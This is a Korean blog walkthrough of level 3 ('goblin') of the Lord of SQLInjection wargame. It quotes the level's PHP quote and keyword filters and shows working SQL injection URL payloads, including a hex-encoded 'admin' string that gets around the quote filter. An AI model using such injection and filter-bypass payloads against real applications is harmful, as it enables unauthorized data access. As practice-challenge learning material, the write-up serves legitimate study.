본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 3번 goblin

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 3번 goblin 

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 

 

2번문제에서 필터링이 더 추가되었다.

prob  _  .  ()  '  " `

 

이번문제에서는 싱글쿼터와 더블쿼터를 사용할 수 없으며 no는 숫자만 입력이 가능하다.

 

  if($result['id'] == 'admin') solve("goblin");

id가 admin이면 문제가 해결된다.

하지만 현재 id는 guest로 나와있다.

 

 

  • ?no=1
  • no에 1을 넣어 보면 Hello guest가 나온다.  즉 guest의 no는 1이다.
  • 싱글쿼터를 사용하지 못하므로 id에 admin이라는 문자열을 넣을 수 없다.
  • admin을 16진수 또는 10진수로 바꾸어 넣으면 된다.
  • admin=0x61646D696E

 

 

 

  • ?no=0%20or%20id%20=0x61646D696E
  • id='guest' and no=0 or id=0x61646D696E
  • false and false or true
  • 결과는 true

 

 

다른 방법

  • ?no=0%20or%20no=2
  • id=guest일때 no=1
  • or문으로 둘 중 id=admin일때 no값이 참인 것을 찾으면 됨.
  • no=1을 제외하고
  • id='guest' and no=0 or no=2를 하니까 맞았다.
  • no에 값을 여러번 넣어보면 id가 admin일때 no는 2인것을 알 수 있다.
  • 즉 false and false or true이니가 답은 true.

 

 

반응형

'#WarGame > Lord of SQLInjection' 카테고리의 다른 글

Lord of SQLInjection 6번 darkelf  (0) 2021.08.06
Lord of SQLInjection 5번 wolfman  (0) 2021.08.06
Lord of SQLInjection 4번 orc  (0) 2021.08.06
Lord of SQLInjection 2번 cobolt  (0) 2021.08.06
Lord of SQLInjection 1번 gremlin  (0) 2021.08.06